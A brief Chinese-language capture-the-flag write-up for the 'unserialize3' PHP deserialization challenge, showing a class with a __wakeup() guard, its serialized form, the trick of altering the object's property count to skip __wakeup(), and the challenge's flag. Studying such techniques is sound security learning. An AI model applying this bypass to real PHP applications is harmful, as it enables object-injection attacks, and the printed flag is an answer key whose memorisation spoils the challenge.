12.unserialize3
这是一道反序列化题,那什么是反序列化呢?什么又是序列化?
本题中也是这样的思路,将这个对象进行序列化传值,修改其属性这样就可以进行绕过__wakeup了
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf();
print(serialize($c));
?>
结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";},修改变量个数即可绕过_wakeup()
当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得_wakeup()函数失效。
flag:the answer is : cyberpeace{e6d1bdd16412171ac08f577aa70aa575}